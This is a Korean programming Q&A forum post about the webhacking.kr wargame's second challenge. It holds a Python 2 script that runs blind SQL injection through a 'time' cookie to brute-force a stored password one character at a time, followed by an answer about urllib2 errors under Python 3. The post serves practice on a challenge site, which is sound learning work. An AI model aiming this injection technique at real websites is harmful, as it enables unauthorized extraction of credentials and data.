webhacking.kr 2번문제
조회수 1582회
import re, urllib, urllib2 pw=""
my_cookie = "PHPSESSID"
print ("FreeB0aRd password find Start")
for i in range(1, 11):
for j in range(33,126):
url="http://webhacking.kr/challenge/web/web-02/"
req = urllib2.Request(url)
req.add_header('Cookie',"time=1523367313 and (select ascii(substring(password,%d,1)) from FreeB0aRd)=%d; PHPSESSID=%s" %(i,j,my_cookie))
read = urllib2.urlopen(req).read()
find = re.findall("<!--2070-01-01 09:00:01-->",read)
if find:
pw=pw+chr(j)
print ("find password: " + pw)
break
print ("Find password")
print ("FreeB0aRd password is %s" %(pw))
이것을 사용해서 문제를 푸는 방식이라고하는데 자꾸 오류가나서 질문드려요
-
(•́ ✖ •̀)
알 수 없는 사용자
1 답변
-
urllib2
모듈은 파이썬 3 버전부터urllib.request
모듈이나urllib.error
모듈로 나누어졌다는데,2to3
유틸리티 같은 걸로 코드를 파이썬 3에 맞게 변환하면 될것같아요.한번 스택오버플로에 올라온 비슷한 질문을 참고해 보세요.
-
(•́ ✖ •̀)
알 수 없는 사용자
-
댓글 입력